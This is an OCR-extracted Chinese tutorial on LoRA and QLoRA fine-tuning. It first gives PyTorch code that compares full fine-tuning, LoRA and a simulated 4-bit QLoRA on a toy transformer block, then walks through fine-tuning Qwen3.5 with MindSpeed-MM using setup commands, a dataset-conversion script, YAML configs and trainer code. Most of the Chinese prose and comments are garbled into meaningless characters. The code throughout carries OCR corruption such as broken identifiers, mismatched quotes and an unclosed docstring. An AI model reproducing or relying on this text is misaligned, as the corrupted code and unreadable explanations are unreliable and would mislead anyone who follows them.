k = self.k_proj(x).view(B, S, self.num_heads, self.head_dim).transpose(1, 2)
v = self.v_proj(x).view(B, S, self.num_heads, self.head_dim).transpose(1, 2)
attn = F.softmax((qg @ k.transpose(-2, -1)) / (self.head_dim ** 0.5), dim=-1)
out = (attn @ v).transpose(1, 2).contiguous().view(B, S, D)
return self.out_proj(out)

class TransformerBlock(nn.Module):
def __init_ (self, dim, num_heads, ffn_hidden_dim):

super().__init_ ()

self.attention = SimpleSelfAttention(dim, num_heads)

self.norm1 = nn.LayerNorm (dim)

self.ffn = nn.Sequential(nn.Linear(dim, ffn_hidden_dim), nn.GELU(), nn.Linear(ffn_hidden_dim,
dim))

self.norm2 = nn.LayerNorm(dim)

def forward (self, x):
x = self.norm1(x + self.attention(x))
x = self.norm2(x + self.ffn(x))
return x

S 4 FJFE LoRA =X

class LoRALinear(nn.Module):

FEE LoRA: REEFEINE + RIS
BIMEMERE: y =Wx +b+ (x @ AAT @ BAT) * (alpha / 1)
def __init_ (self, original_linear: nn.Linear, r: int, alpha: int):
super().__init_ ()
self.original_linear = original_linear
selfr=r
self.alpha = alpha
self.scaling = alpha / r

dim_in = original_linear.in_features
dim_out = original_linear.out_features

# LoRA =46

self.lora_A = nn.Parameter(torch.randn(r, dim_in))
self.lora_B = nn.Parameter(torch.zeros(dim_out, r))

# A £ kaiming #iaM6, B #¥liafk A% 0, fRIE¥IIAAY B@ A =0
nn.initkaiming_uniform_(self.lora_A, a=5*0.5)
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# ISR R

self.original_linear.weight.requires_grad = False

if self.original_linear.bias is not None:
self.original_linear.bias.requires_grad = False

def forward (self, x):
original_out = self.original_linear(x)
lora_out = (x @ self.lora_A.T @ self.lora_B.T) * self.scaling
return original_out + lora_out

IR 5 193 QLRAE

&l QLORA HfY 4-bit BH&EIEE: 15 float32 BINESH S int8(1EHL intd) 7F6E, &
forward BIEh&REMAA float32 #HITIHE

class Simulated4BitQuantizedLinear(nn.Module):

def __init__(self, original_linear: nn.Linear):
super().__init_ ()
self.in_features = original_linear.in_features
self.out_features = original_linear.out_features

weight = original_linear.weight.data

# - BIRKEEW ---

# 1. HEES—1TH%EMEF

max_val = weight.abs().max(dim=1, keepdim=True)[0]

selfregister_buffer('weight_scale', max_val / 127.0) # F§ 127 (8-bit LBR) #&#l 7 (4-bit EFR)

# 2. SWNEREH (EHL 4-bit F6%, IO int8 KEF, EBEFX)
weight_q = torch.round(weight/ self.weight_scale).clamp(-127, 127).to(torch.int8)
# EE: XEBE{FEA register_buffer fAE nn.Parameter

# EAEWEINERREY, FTRELAFMZITERE, EREEEFMEIINR
self.register_buffer('weight_q', weight_q)

# (REMREF fp32

self.bias = original_linear.bias

if self.bias is not None:
self.bias.requires_grad = False

def forward (self, x):
# --- SREN ---
# BEUNBENEREBEEF, RENZREHITIEMAERE
# X—22 QLoRA RIIEEZIEBIERER: SHMNIHESEFEE
weight_deq = self.weight_qg.float() * self.weight scale
return F.linear(x, weight_deq, self.bias)

ETF 4Bit E{LCH QLORA =37,

class QLoRALinear(nn.Module):

QLORA #ily: EWENE(HE) + A= (A1)
BIEMERE: v = (RE W)X + b + (BAX * scaling)
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def __init__(self, original_linear: nn.Linear, r: int, alpha: int):
super().__init_ ()
# AENESRFEREEER, RARDEHESEEAR
self.quantized_linear = Simulated4BitQuantizedLinear(original_linear)
selfr=r
self.alpha = alpha
self.scaling = alpha / r

dim_in = original_linear.in_features
dim_out = original_linear.out_features

# LoRA EXRARIFSEE (fp32)

self.lora_A = nn.Parameter(torch.randn(r, dim_in))
self.lora_B = nn.Parameter(torch.zeros(dim_out, r))
nn.initkaiming_uniform_(self.lora_A, a=5**0.5)

def forward(self, x):
#1. EHER: REKEBITE
quant_out = self.quantized_linear(x)
# 2. LoRA 2. SREITE
lora_out = (x @ self.lora_A.T @ selflora_B.T) * self.scaling
return quant_out + lora_out

L6 MEIEANRHK

def inject_lora(model, target_modules, r, alpha, mode="lora"):
mngE—ENEREL, 4F lora #1 glora FRMER"""
for name, module in model.named_modules():
parent_name = ""join(name.split("")[:-1])
child_name = name.split(".")[-1]
if parent_name ==": parent = model
else: parent = getattr(model, parent_name)

if isinstance(module, nn.Linear) and any(t in name for t in target_modules):
if mode == "lora":
new_module = LoRALinear(module, r, alpha)
elif mode == "glora™:
new_module = QLoRALinear(module, r, alpha)
else:
raise ValueError("mode must be 'lora’ or 'qlora™)
setattr(parent, child_name, new_module)

# HEEFTEIE LoRA &%
for name, param in model.named_parameters():
if 'lora_A' notin name and 'lora_B' not in name:
param.requires_grad = False

LT WESH. AESERITRE

def get_ memory_stats(model):

BT ERRESHRR SR ISEF SR (84 MB)
- BRSHRR: BERFIRE/MBEEFN, NEASHBEN=E,
- AR JIGNLRABENER = B8R + BE + MARRRESAdamW 75 2 FaIEREE)
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bytes_per_elem_fp32 =4

# 1. BESIERINEARR (88 Parameter #1 Buffer)
# state_dict() BATEREDTMERIKE, SESHKER int8 NEMBHEF
weight_bytes =0
for tensor in model.state_dict().values():
dtype = tensor.dtype
# BLIE: int8 & 1 FT5, Hith(fp32/fp16 F)ik 4 FHE
elem_size = 1 if dtype == torch.int8 else 4
weight_bytes += tensor.numel() * elem_size

# 2. HBIIZRIEICEFSH
trainable_params_bytes = 0
for p in model.parameters():
if p.requires_grad:
trainable_params_bytes += p.numel() * bytes_per_elem_fp32

# BESH: REUIESHERE, RESHIER

grad_bytes = trainable_params_bytes

# AdamW =R A TIIGSHEEHR—MMEIEN_—M=IE, FFLLE 2 &
optimizer_bytes = trainable_params_bytes * 2

# ERYIEEEF = NEHSHR + BE + MEKRTE
total_training_bytes = weight_bytes + grad_bytes + optimizer_bytes

weight_mb = weight_bytes / (1024 ** 2)
training_mb = total_training_bytes / (1024 ** 2)

return weight_mb, training_mb

SHERIT,

def get_params_stats(model):
total_params = sum(p.numel() for p in model.parameters())
trainable_params = sum(p.numel() for p in model.parameters() if p.requires_grad)
return total_params, trainable_params

BE: kgt T PyTorch 1 model.parameters J5iZRBVESE], 455 PyTorch X3FiZ5E8Y
SIHATL, 547 LoRAFI QLORA RIS HETSBMLLEIRR? MiZaNa{iiL?

LR 8 HIEIIGRE

YO ARTIIZRA0REL, AIka)IIEERD /9. 2268, LoRA. QLoRA, FTFELEHITY
tt.

def train_model(model, %, y, config, mode="Full"):

optimizer = torch.optim.AdamW (filter (lambda p: p.requires_grad, model.parameters()),
lr=config["lr"])

criterion = nn.MSELoss()

model.train()

loss_history = []




S

B =3 |42 500
HOAWE! SRR T EPLY

start_time = time.perf_counter()
for step in range(config["steps"]):
optimizer.zero_grad()
output = model(x)
loss = criterion(output, y)
loss.backward()
optimizer.step()
loss_history.append (loss.item())
end_time = time.perf_counter()

total_time = end_time - start_time
print(f" [{mode}] FEpk! #ERT: {total_time:4f}s, Ex#¥ Loss: {loss_history[-1]:.6f}")
return loss_history, total_time

L9 Xtk

HMEMILLERE, ESIGaTE. SHE. EFAASFUMMLERII.

(LRRTELARE =TT TIGITRERTLE, ST 1TFEF LoRA BB R F B 58
)

def run_comparison_experiment(config):
torch.manual_seed(42)
x = torch.randn(config["batch_size"], config["seq_len"], config["dim"])
y = torch.randn(config["batch_size"], config["seq_len"], config["dim"])

base_model = TransformerBlock(config["dim"], config["num_heads"], config["ffn_hidden_dim"])
initial_state_dict = copy.deepcopy(base_model.state_dict())

results = {}

#---1. 2SR ---

print("="*60 + "\n SEI&—: £Z4H0E\n" + "="*60)

model_full = TransformerBlock(config["dim"], config["num_heads"], config["ffn_hidden_dim"])

model_full.load_state_dict(initial_state_dict)

total_f, train_f = get_params_stats(model_full)

weight_f, train_mem_f = get_memory_stats(model_full)

print(f'S#&E -> &it: {total_f.,}, AIIZ: {train_f;}")

print(f"5854%EE: {weight_f:2f} MB | IRt E7F: {train_mem_f.2f} MB")

full_losses, full_time = train_model(model_full, x, y, config, mode="£ZE")

results['Full FT'] = {'losses": full_losses, 'time": full_time, 'trainable": train_f, 'weight_mem" weight_f,
'train_mem": train_mem_f}

# --- 2. LORA 13 ---

print("\n" + "="*60 + "\n SE3&_: LoRA #E\n" + "="*60)

model_lora = TransformerBlock(config["dim"], config["num_heads"], config["ffn_hidden_dim"])
model_lora.load_state_dict(initial_state_dict)

inject_lora(model_lora, config["lora_targets"], config["r"], config["alpha"], mode="lora")
total_|, train_L = get_params_stats(model_lora)

weight_|, train_mem_l= get_memory_stats(model_lora)

print(f'&#& -> =it {total_L,}, AJJlIZk: {train_L,}")

print(f' 585G {weight_L.2f} MB | IBiGIIIZ&EF: {train_mem_L.2f} MB")

lora_losses, lora_time = train_model(model_lora, X, y, config, mode="LoRA ")
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results['LoRA'] = {'losses" lora_losses, 'time": lora_time, 'trainable": train_|, 'weight_mem" weight_l,
'train_mem": train_mem_L}

# --- 3. QLoRA A ---

print("\n" + "="*60 + "\n SEIE&=: QLORA #{ifE\n" + "="*60)

model_glora = TransformerBlock(config["dim"], config["num_heads"], config["ffn_hidden_dim"])

model_qglora.load_state_dict(initial_state_dict)

inject_lora(model_glora, config["lora_targets"], config["r"], config["alpha"], mode="qlora")

total_q, train_qg = get_params_stats(model_glora)

weight_q, train_mem_qg = get_memory_stats(model_glora)

print(f"&#& -> 21t {total_q:,}, BlIZk: {train_qg:}")

print(f"38:5HE: {weight_q:2f} MB | IBigi)II&E%=F: {train_mem_q:2f} MB")

glora_losses, glora_time = train_model(model_glora, x, y, config, mode="QLoRA #{i@")

results['QLoRA'] = {'losses": glora_losses, 'time": glora_time, 'trainable": train_g, 'weight_mem":
weight_g, 'train_mem": train_mem_q}

# XEEAH (2x3)

fig, axes = pltsubplots(2, 3, figsize=(20, 10))
colors = {'Full FT" 'red’, 'LoRA": 'blue’, 'QLoRA": 'green'}
names = list(results.keys())

# Loss HRELXTIEL
ax1 = axes[0, 0]
for name, data in results.items():
ax1.plot(data['losses'], label=name, color=colors[name], alpha=0.8)
ax1.set_title('Loss Curve Comparison')
ax1.set_xlabel('Step'); ax1.set_ylabel('MSE Loss')
ax1.legend(); ax1.grid(True, linestyle='--', alpha=0.6)

# Al SHEXILL

ax2 = axes[0, 1]

trainable_vals = [results[n]['trainable'] for n in names]

ax2.bar(names, trainable_vals, color=[colors[n] for n in names], alpha=0.6)
ax2.set_title('Trainable Parameters (Log Scale)')

ax2.set_ylabel('Count’); ax2.set_yscale('log')

# YZRRFEIRTEL

ax3 = axes[0, 2]

time_vals = [results[n]['time'] for n in names]

ax3.bar(names, time_vals, color=[colors[n] for n in names], alpha=0.6)
ax3.set_title('Training Time (seconds)')

ax3.set_ylabel('Time (s)")

# BASINEFTRYILL
ax4 = axes[1, 0]
weight_vals = [results[n]['weight_mem'] for n in names]
bars4 = ax4.bar(names, weight_vals, color=[colors[n] for n in names], alpha=0.6)
ax4.set_title('Static Weight Footprint (MB)")
ax4d.set_ylabel('Memory (MB)")
for bar in bars4:
yval = bar.get_height()
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ax4d.text(bar.get x() + bar.get_width()/2, yval + 0.05, f'{yval:.2f}', ha='center', va='bottom',
fontsize=10)

# BICYI&EFXIEE
ax5 = axes[1, 1]
train_mem_vals = [results[n]['train_mem'] for n in names]
bars5 = ax5.bar(names, train_mem_vals, color=[colors[n] for n in names], alpha=0.6)
ax5.set_title('Theoretical Training Memory (MB)\n(Weight + Grad + AdamW States)")
ax5.set_ylabel('Memory (MB)")
for bar in bars5:
yval = bar.get_height()
ax5.text(bar.get x() + bar.get width()/2, yval + 0.05, f'{yval:.2f}, ha='center', va='bottom’,
fontsize=10)

axes[1, 2].axis('off")
core_text = (
"Key Takeaways:\n"
"1. LoRA's Weight > Full FT's Weight\n"
" (Retains W + adds A & B)\n\n"
"2. LoRA's Training Mem << Full FT\n"
" (Saves huge Grad & Optimizer)\n\n"
"3. QLoRA is the lightest\n"
" (Compressed W + tiny A & B)"
)
axes[1, 2].text(0.1, 0.5, core_text, fontsize=12, va='center’,
bbox=dict(boxstyle="round’, facecolor='lightyellow', alpha=0.5))

plttight_layout()
plt.show()

] I10 FEML

config ={
"dim":512, "num_heads": 8, "ffn_hidden_dim": 2048,
"batch_size": 4, "seq_len": 32,
"r": 8, "alpha": 16,
"lora_targets": ["attention.q_proj", "attention.v_proj"],
"lr": 1e-3, "steps": 100

}

run_comparison_experiment(config)

Wi

SHE > 2t 3,152,384, aillZ: 3,152,384
E47SAYE: 12.03 MB | IEigiIZ4E7F: 48.10 MB
[£2%8] 2R EAT: 3.5025s, F£Z Loss: 0.003459

STIS—: LoRA %R
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SHE > =it 3,168,768, AlilZk: 16,384

F5SHNE: 12.09 MB | HEiGHIIZE7F: 12.28 MB
[LoRA i8] S=rk! £ERT: 2.3579s, &=#% Loss: 1.649630

sB15;|

SEIS=": QLoRA #iE

SHE -> St 2,644,480, AJll4k: 16,384

E#SILEE: 1059 MB | Bigi)|l4rE7F: 10.78 MB
[QLORA %if] 52h%! ERT: 2.3643s, =2 Loss: 1.651183

Loss Curve C

Trainable Parameters (Log Scale)

Training Time (seconds)

— Full FT
— lorA
— QLORA

0 20 40 60 80 100 Full FT
Step

Static Weight Footprint (MB)

LoRA

Theoretical Training Memory (MB)
(Weight + Grad + AdamW States)

QuoRA

8

12.03 48.10

&

Memory (MB)
Memory (MB)
8

3

B

Full FT

| Key Takeaways:
| 1. LoRA's Weight > Full FT's Weight
(Retains W + adds A & B)

|2. LoRA's Training Mem << Full FT
‘ (Saves huge Grad & Optimizer)

|3. QLoRA s the lightest
| (Compressed W + tiny A & B)

2.2.2 EF MindSpeed-MM LI Qwen3.5 RIIERIE

SRENAUAS 14

unzip MindSpeed-MM.zip  ##&ES {4
cd MindSpeed-MM

RITITES —RLR T RENFTHBAE:

| bash scripts/install.sh --msid eb10b92 && bash examples/qwen3_5/install_extensions.sh

FB 1 EEUERS

SLIRIEEY Qwen3.5 RINREY ( AIRIEII AL IR GG IEA/ ISR, LITR(ELL 0.8 7

B, ERKIEEURIFER ) o
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% Qwen/Qwen3.5-9B-Base
% Qwen/Qwen3.5-4B

% Qwen/Qwen3.5-4B-Base
s Qwen/Qwen3.5-2B

% Qwen/Qwen3.5-2B-Base
% Qwen/Qwen3.5-0.8B

% Qwen/Qwen3.5-0.8B-Base

% Qwen/Qwen3.5-397B-A17B-GPTQ-Int4

IR 2 BT hf-mirror SREEEL T4

LERMHL:

2163

| pip install -U huggingface_hub

RENGETS:

| export HF_ENDPOINT=https://hf-mirror.com

TERE:

hf download --resume-download Qwen/Qwen3.5-xxB --local-dir hf_path/model

RIEEEUER S S (LLTEL 0.8B J9f8: hf download --resume-download

Qwen/Qwen3.5-08B --local-dir hf_path/model )

L3 WNEER

{3 fsdp2 Y meta init #IInHIREL, JEIEENACE SepllA P IRERAER :

(1) ( ARIR(EMER ) EEECENE config.json FRY tie_word_embeddings =FE&A true AY

(40 0.88, 2B, 4B1&EY ) , {FEFHLATEEIGRAS:

mm-convert Qwen35Converter hf_to_dcp \
--hf_dir xxx/hf_path/model/ \
--dcp_dir xxx/dcp_path/xooxxx \

--tie_weight_mapping {"lm_head.weight":"model.language_model.embed_ tokens.weight"}'
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(2) Eeirs:

FE17R

mm-convert Qwen35Converter hf_to_dcp \
--hf_dir xxx/hf_path/model \
--dcp_dir xxx/dcp_path/xxxxxxx

hf_dir: TEAWEEANERRERISHISZ .
dep_dir: FHRERRBURFIRZ
U ERIRE BREN:

#H ———— X00XXX
# | —— release
# |—— latest_checkpointed_iteration.txt

S 4 KRR
TEHIEE:
® (COCO2017 ¥uEes:

| wget http://images.cocodataset.org/zips/train2017.zip

® [lLaVA-Instruct-150K: https://huggingface.co/datasets/liuhaotian/LLaVA-Instruct-

150K

| hf download --repo-type dataset --resume-download LLaVA-Instruct-150K --local-dir data

SREVEUREEE MindSpeed-MM/data STHEET,

—— data
— coco2017

F— train2017

I— llava_instruct_150k.json

SMIEERE, T RTEEL)IERATE:

{
"messages": [
{
"role": "user",
"content": "XKE|FEBA? <image_path_1>"
}I
{
"role": "assistant",
"content": "B FHER T —RIEEEM EFHAYT, "
}
Il
"images": ["/path/to/image1.jpg"]
}
FIREIEEAMBERIA llava_instruct_2_mllm_demo_format.py:
# llava_instruct_2_mllm_demo_format.py
importjson
importos
import stat



http://images.cocodataset.org/zips/train2017.zip
https://huggingface.co/datasets/liuhaotian/LLaVA-Instruct-150K
https://huggingface.co/datasets/liuhaotian/LLaVA-Instruct-150K
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# TEMHENGEL )RR
llava_json_path = "./data/llava_instruct_150k.json"
mllm_format_json_path = "./data/mllm_format_llava_instruct_data.json"

# IZBURIARY LLaVA 18iEiRSE

with open(llava_json_path, "r") as f:
info_json = json.loads(f.read())

# AT EREEIREEIERISIE

mllm_format_llava_instruct_data = []

# BHE—FREEHI TR
for item in info_json:
# MERREERFER, AEERBERENTFRE (B AINEIE )
if not item.get(‘image’):
new_item = {
"images": [1, # ZEERE, EATIE
"messages": [] # WIARTESIE
}

else:
# MEBE R, HHESENEIT/EXERE (BREBIE COC02017 B train2017 BRT)
img_path = os.path.join("./data/COC0O2017/train2017", item["image"])
print(f"img_path: {img_path}")

# WNRE FELHEERRT, BERNTIXEEIE (continue ) , BHLEEEEEEN)I|SRATiRES
if not os.path.exists(img_path):
continue

new_item = {

"images": [img_path], # SEHEREEENTIE

"messages": [] # ¥R IERSIZR
}
# REGH LR ZHITIEEIE
# LLaVA BB E "conversations": [{"from": "human", "value": ".."}, {"from": "gpt", "value":
|l"'|l}]
# BFEUESEML OpenAl BIFRAERRTU: [{"role™: "user”, "content™ ".."}, {"role": "assistant",
"content": ".."}]
for i, turn in enumerate(item["conversations"]):
if turn["from"] == "human":

new_item["messages"].append({"role": "user", "content": turn["value"]})
elif turn["from"] =="gpt":

new_item["messages"].append({"role": "assistant", "content": turn["value"]})
else:

#HIIE human/gpt B ERAE, EENHEE

raise ValueError(f"unknownrole: {turn['from"]}")

# BRI —S R HIEE IR &R IERA
mllm_format_llava_instruct_data.append(new_item)

# FYICEIRIGRIEE
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# ensure_ascii=False HRPNFZGEELERERER, FASHEENA \uXXXX &=
output_json = json.dumps(mllm_format_llava_instruct_data, ensure_ascii=False)

if os.path.exists(mllm_format_json_path):
print(f"{mllm_format_json_path} already exists, please rename it or remove it")

# {EFAKE osopen 454 osfdopen HITEZE . PURIEFHIE™EAIXESA
with os.fdopen(os.open(mllm_format_json_path, 0s.O_WRONLY | 0s.0_CREAT | 0s.O_EXCL, stat.S_IWUSR
| stat.S_IRUSR), "w") as f:

f.write (output_json)

print(f"finish converting dataset into {mllm_format_json_path}")

LIRS EEXHER

{&2Z MindSpeed-MM /example/qwen3_5/qwen3_5_4B_config.yaml:

### BUEHEXECE
data:
dataset_param:
dataset_type: huggingface
HEUEERE
attr:
images: images
messages: messages
role_tag: role
content_tag: content
user_tag: user
assistant_tag: assistant

# HIETAALTE
preprocess_parameters:
model_name_or_path: &HF_MODEL_LOAD_PATH ./ckpt/hf_path/Qwen35-xxB # EiEI4 hf
2

use_fast_tokenizer: true
split_special_tokens: false
image_max_pixels: 262144
image_min_pixels: 1024
video_max_pixels: 16384
video_min_pixels: 0
video_fps: 2.0
video_maxlen: 64

basic_parameters:
cutoff_len: 1024
template: gwen3_vl_nothink
enable_thinking: false
train_on_prompt: false
mask_history: false
dataset_dir: ./data # HUEFRTESZ{4E
dataset: &DATASET_PATH ./data/mllm_format_llava_instruct_data.json
cache_dir: ./cache_dir/
overwrite_cache: false
preprocessing_batch_size: 1000
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preprocessing_num_workers: 16
max_samples: null

training:
load: ./ckpt/hf_path/Qwen35-xxB-dcp # ERAEEIREHT dep IE
save: ./save_path
use_deter_comp: false
plugin:
- mindspeed_mm/fsdp/models/qwen3_5
- mindspeed_mm/fsdp/data/datasets/huggingface

LR 6 ERUSA

{&2Z MindSpeed-MM /example/qwen3_5/finetune_qwen3_5.sh:

# RIBSEFRIEIRIEM ascend-toolkit F&1R
source /usr/local/Ascend/ascend-toolkit/set_env.sh

# MASTER_ADDR: 15 IP ittt

# NODE_ADDR: Z#/], IP it

# NODE_RANK: &N S

# NNODES: —H/1 AN =

NPUS_PER_NODE=2

MASTER_ADDR=localhost

MASTER_PORT=6000

NNODES=1

NODE_RANK=0
WORLD_SIZE=$(($NPUS_PER_NODE*$NNODES))

L', T  BEhiAE

| bash examples/qwen3_5/finetune_gqwen3_5.sh

IR 8  FELE lora i

MindSpeed-MM 1EZE RS HE 7 LoRA HiARYINEE, REEEFREHHFIS LoRA, FilE
BcERIAT .

&2 MindSpeed-MM /example/qwen3_5/qwen3_5_4B_config.yaml, AN lora fEHIED
B, fE training FA0N:

lora:

enable: true

rank: 8

alpha: 16

target_modules:
- "model.language_model.layers.{*}self _attn.q_proj"
- "model.language_model.layers{*}.self_attn.k_proj"
- "model.language_model.layers{*}.self_attn.v_proj"
- "model.language_model.layers.{*}.self_attn.o_proj"
- "model.language_model.layers.{*}.mlp.gate_proj"
- "model.language_model.layers.{*}.mlp.up_proj"
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- "model.language_model.layers.{*}.mlp.down_proj"
dropout: 0.0
init_lora_weights: "gaussian”
pretrained_lora_path: null
save_mode: "lora_only"

FFi3 profile:
MindSpeed-MM/example/qwen3_5/qwen3_5_4B_config.yaml:

tools:
profile:
enable: true  # FE
profile_type: static # {EFEERSIE
ranks: [0] KENFR, WERRE 0K
static_param:
level: levell
with_stack: false
with_memory: false

ISl

| bash examples/qwen3_5/finetune_gqwen3_5.sh

10000 | consumed samples:

10060 | con:
10000 | con:
10660 | cons
10000 | consum
10060 | consum

10000 | con:

ration 16060/ 16000 | consumed samples:

L', 9 RO
[ERNBZAN R R T AaII 1 4RRY 8RS

EEECEYYS, 18 trainer.py ( mindspeed-mm/fsdp/train ) 72

DI[E:

IESRIIT, B 4/|\I%E’\JH£HZISSZ1¢1

® trainer.py R "RHHNESR": RARVBRUSHRINE. BITHE. IRIERIVFERE
BY. ifKES. ¥ORINEES, #Ei?%%zd]l} %,

® trainEngine AE"HIT": BERIKENZ
Loss. REMEE. 1HEHE]. ,éﬁ@%ﬂ]nzﬁﬂ%r

lora_utils.py 124t LoORA EEIR{ERMERETEE,

® lora_weight_manager.py &2 FSDP 2245 LoRA 1EEIAPIRESFH, BAKIEE(FRF
€. G=ERYERE.

ERmE:

, CRENEIE. RIEMERE. tE
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Trainer lora_utils LoraManager

1. ¥IRAERNER

get_foundation_model() [INEEEE]

-

enable_lora(model)

>
>

validate_lora_config() [ £41]

U

match_target_modules() [[CEEHRE]

U

freeze_parameters() 5455 EE requires_grad=False]

U

add_lora_to_model() [PEFTSEN, % fp32]

U

JR[E] LoRA &S

LoraWeightManager(model)

»
>

verify_lora_weights() [f3&iFN\5282M4]

model_parallel_applier(model) [FSDP 4551

get_optimizer() [{¥ LoRA 2351

O

1€\ model, optimizer, lora_manager

g22m

TrainEngine

>

>

2. J)IIEREIRRT R

loop [Every Step]

forward() [EEEx + (A*B)"x]
backward() [(EE{XEIEZE A, B]

optimizer.step() [{X&3 A, B]

>

3. RERERMER

model.state_dict() [FKEY FSDP 528 E1]

L3

extract_lora_state_dict(full_dict)

A

IREIRE lora_A/B AHEEIFER
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save_checkpoint(lora_dict) [ffiERE \#iE2]

e

Trainer lora_utils LoraManager TrainEngine

Trainer.get_foundation_model(), &R AEEUNE NPU:

def get_foundation_model(self):
"""Load the foundation model from the model hub."""
args: Arguments = self.args
model = ModelHub.build (args.model, args.training)
return model

ERURE 2EPEEINE, FIE2EHY requires_grad=True ( PyTorch BRIAE ) . {EEIFARTE
TE{Ha lora_A gk lora_B K=,

Trainer.enable_lora(model) :

# class Trainer():
def enable_lora(self, model: torch.nn.Module) -> torch.nn.Module:
lora_config = self.args.training.lora
print_rank(logger.info, "Enabling LoRA fine-tuning...")

# Validate LoRA configuration
try:
validate_lora_config(
rank=lora_config.rank,
alpha=lora_config.alpha,
target_modules=lora_config.target_modules,
dropout=lora_config.dropout,
init_lora_weights=lora_config.init_lora_weights,
)
except ValueError as e:
raise ValueError(f"Invalid LoRA configuration:{e}") from e

# Match target modules using wildcard patterns
matched_modules = match_target._ modules(model, lora_config.target_modules)

if not matched_modules:
raise ValueError(
f"No modules matched target_modules: {lora_config.target_modules}."
f"Please check your model architecture and target_modules configuration."

)

print_rank(logger.info, f"Matched {len(matched_modules)} modules for LoRA:")
for module_name in matched_modules[:5]:

print_rank(logger.info, f* - {module_name}")
if len(matched_modules) > 5:

print_rank(logger.info, f* .. and {len(matched_modules) - 5} more")

# Freeze base model parameters
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freeze_parameters(model)

# Inject LoRA adapters

model = add_lora_to_model(
model=model,
lora_rank=lora_config.rank,
lora_alpha=lora_config.alpha,
lora_target_modules=matched_modules,
lora_dropout=lora_config.dropout,
init_lora_weights=lora_config.init_lora_weights,
pretrained_lora_path=lora_config.pretrained_lora_path,
lora_target_modules_support=lora_config.lora_target_ modules_support,

)

# Get LoRA parameter statistics
trainable_params, total_params, stats_dict = get_lora_trainable_params(model)

# Print LoRA configuration summary

print_lora_config(
rank=lora_config.rank,
alpha=lora_config.alpha,
target_modules=matched_modules,
dropout=lora_config.dropout,
init_lora_weights=lora_config.init_lora_weights,
trainable_params=trainable_params,
total_params=total_params,

)

print_rank(logger.info, "LoRA fine-tuning enabled successfully")

return model

(ZFBERMAERY LoRA TIEXH, fAsREEERY PyTorch {REIMISR T2 Hi=U-ERY
*E:I:o )
XA lora_utils.py FRITA:

| validate_lora_config()

WMISECE, IR rank. alpha SESHEE24E (LA0 rank FREERREL ) . BEMWPIBIREK
T, (NE2EEEH.

| matched_modules = match_target._ modules(model, lora_config.target._ modules)

match_target_modules FYSCHLLE lora_uitls.py ( mindspeed-mm/fsdp/utils/) =:

def match_target_ modules(model: nn.Module, patterns: List[str]) -> List[str]:
matched_modules: List[str] = []

for name, module in model.named_modules():
for pattern in patterns:
if is_pattern_match(name, pattern):
matched_modules.append(name)
break

return matched_modules
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IRIBECE SU4RY target_modules (& ["q_proj", "v_proj"] S@BECHRT "*proj" ) , &R
JTMNHE ., MNRSHINHIE R, EiERE . EWNRITEECH 0, LoRA HHYTFIZERE
N, BRUAERA, sOhr ER2EMIRIEI Forward,

REIRINEARE, (BERTFRER T “HMEER” ( BRRSIE )

freeze_parameters(model)

IREEEHIERY | freeze_parameters HISCIITE lora_uitls.py AA:

def freeze_parameters(model: nn.Module) -> None:
"""Freeze all parameters in the model.

Args:

model: The PyTorch model to freeze.
model.requires_grad_(False)
model.eval()
model.train()

PEFT ( SHSIUAE ) AYORIE: SEEERIFFE S5 requires_grad i€ False, f&F
HAS5BETENER, PEEFNEN.
o HAFFIESHAERMHEEITELRBITERE, IS5 EERH.

o HHEENRT: XESHTHT “BETR .

model = add_lora_to_model()

7EN LoRA j&Fr2E, add_lora_to_model ( lora_utils.py ) :

model: nn.Module,

lora_rank: int = 8,

lora_alpha: int = 16,

lora_target_modules: Optional[List[str]] = None,

lora_dropout: float = 0.05,

init_lora_weights: bool | str = True,

pretrained_lora_path: Optional[str] = None,

lora_target_modules_support: Optional[List[str]] = None,
) -> nn.Module:

"""Add LoRA adapters to a PyTorch model.

This function injects LoRA adapters into the specified target modules,
optionally loads pretrained LoRA weights, and ensures proper dtype handling.

Args:
model: The PyTorch modelto add LoRA to.
lora_rank: LoRA rank (dimension of the low-rank matrices).
lora_alpha: LoRA alpha scaling factor.
lora_target_modules: List of target module names/patterns.
lora_dropout: Dropout rate for LoRA layers.
init_lora_weights: Weight initialization method (True, False, or str).
pretrained_lora_path: Path to pretrained LoRA weights (optional).
lora_target_modules_support: List of supported module types for validation.
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Returns:
The model with LoRA adapters injected.

Raises:
ImportError: If PEFT library is not installed.
ValueError: If target modules are not supported.

try:
from peft import LoraConfig, inject_adapter_in_model
except ImportError as e:
raise ImportError (
"PEFT library is required for LoRA training. "
"Please install it with: pip install peft"
) from e

model.lora_alpha = lora_alpha

lora_config = LoraConfig(
r=lora_rank,
lora_alpha=lora_alpha,
init_lora_weights=init_lora_weights,
target_modules=lora_target_modules,
lora_dropout=lora_dropout,
bias="none",

)

if lora_target_modules_supportis not None:
for lora_target_module in lora_config.target_modules:
if lora_target_module not in lora_target_ modules_support:
raise ValueError(
f"lora_target_module {lora_target_module} not in "
f"lora_target_modules_support"

)
model = inject_adapter_in_model(lora_config, model)

for param in model.parameters():
if param.requires_grad:
param.data = param.to(torch.float32)

for name, param in model.named_parameters():
if "lora" in name:
param.data = param.data.to(dtype=torch.float32)

if pretrained_lora_path is not None:
state_dict = load_state_dict(pretrained_lora_path)

missing_keys, unexpected_keys = model.load_state_dict(state_dict, strict=False)

all_keys = [i for i, _in model.named_parameters()]
num_updated_keys = len(all_keys) - len(missing_keys)
num_unexpected_keys = len(unexpected_keys)
logger.info(

f"{num_updated_keys} parameters are loaded from {pretrained_lora_path}."

f"{num_unexpected_keys} parameters are unexpected."

28261




S

HOAWE! SRR T 527M

| return model

(V@F3 PEFT B9 inject_adapter_in_model, TEBEIRESIZEN A/B 5E%; MERBHIHS
#, 17 param.data = param.data.to(torch.float32) , IREHEFNGANERYE, )
¥ LoRA B9 A #EBEF0 B FERELARIINIAY4EH0ZEE ( EF alpha #0 rank ) SEFRENZIBIE

PLECZEIAY matched_modules #, BB SZIFNNETI)IZREFAY LORA NE
( pretrained_lora_path )

o RRINGEEREN, BT “BEE + FIRATESEY.

® FFAERKAY lora_A.default.weight #1 lora_B.defaultweight, FAF PEFT HIBKINIRE, H
requires_grad=True,

o EIFHBMNTHUMYG LoRA S¥EA (MBERK) .

LoraWeightManager(model) :

| self.lora_weight_manager.verify_lora_weights()

DA EEIERS, H1E FSDP 1A, MEEREPELHEAIFE lora_A/B,

BRELRCEN—EBR (RKok ) , MENESEPES L. MRULAHAE LoRA &,
BiEiRE,

ParallelApplier(model):

self.model_parallel_applier = ParallelApplier(args.parallel, args.training)
model = self. model_parallel_applier(model)
self. model_features_applier(model)

